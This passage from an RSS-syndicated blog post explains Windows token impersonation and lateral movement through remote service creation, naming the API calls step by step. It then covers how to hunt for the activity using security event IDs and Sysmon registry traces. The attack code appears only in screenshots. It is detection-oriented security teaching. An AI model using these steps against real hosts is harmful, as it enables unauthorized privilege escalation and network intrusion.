escalation.</p><h3>Token Impersonation Attack with windows APIs</h3><p>We will create a token with <a href="https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera"><strong>LogonUser</strong></a> API. Then apply the token to our current PowerShell session with<a href="https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateloggedonuser"><strong> ImpersonateLoggedOnUser</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhRZS3xqxTC-sYJXJWNwYw.png" /><figcaption>Token Impersonation</figcaption></figure><p>Now we have a PowerShell session with Administrator token!</p><h3>Lateral Movement with Windows Service Manger</h3><p>To invoke OpenSCManager, we must supply the hostname of the target (lpMachineName) and the name of the database for the service control database (lpDatabaseName). Supplying a null value will use the default database. Finally, we must pass the desired access (dwDesiredAccess)<br>to the service control manager. The API is executed in the context of the access token of the executing thread, which means no password is required.<br>If authentication is successful, a handle is returned that is used to interact with the service control manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_YAgpwLfzuztJeTPdMhf1Q.png" /><figcaption>OpenSCManager</figcaption></figure><p>After that we have to options:</p><ol><li>Create a new service</li><li>Replace a service payload</li></ol><p>I will choose the first one and create a service on the target system with my custom payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w5VOZJN51d7wIYgwAUYBBg.png" /></figure><p>If authentication is successful, a handle is returned that is used to interact with the service control manager. My code performs the same actions when invoked, but then it calls <a href="https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea"><strong>CreateServiceA</strong></a> to set up a new service.</p><p>After that we will use <a href="https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openservicea"><strong>OpenService</strong></a><strong>A </strong>to open the service and the final step is start the service, which we can do through the <strong>StartService</strong> API.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j7beHfQb6avQaYjPFFU4xw.png" /></figure><h3>Let’s Hunt</h3><p>First we will see a 5145 event id with SVCCTL target winch means OpenSCManager pipe name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*26PIzuH3pYad2y8MKAG73Q.png" /></figure><p>Then we will see a 4674 event id with object server that contains SC Manager and services.exe process name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*JaWlMHvFElS0diUfjEKw4A.png" /></figure><p>In Sysmon after we see some RPC protocol activity like dynamic port mapper we have a registry value that tells us services.exe has added a value in services registry path. Which is our service payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*Lb8K2UZl8KEV77ml02dhXA.png" /></figure><p>Finally we will see our payload has executed by services.exe process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*TbeTtc8tYwElIP8TZEbcHQ.png" /></figure><p><strong>Have a nice hunt!</strong></p><p>twitter: @mahdi_htm</p><p><a href="https://www.linkedin.com/in/mahdi-hatami-">linkedin</a>: <a href="https://www.linkedin.com/in/mahdi-hatami-">linkedin.com/in/mahdi-hatami-</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6424d3d41a0a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>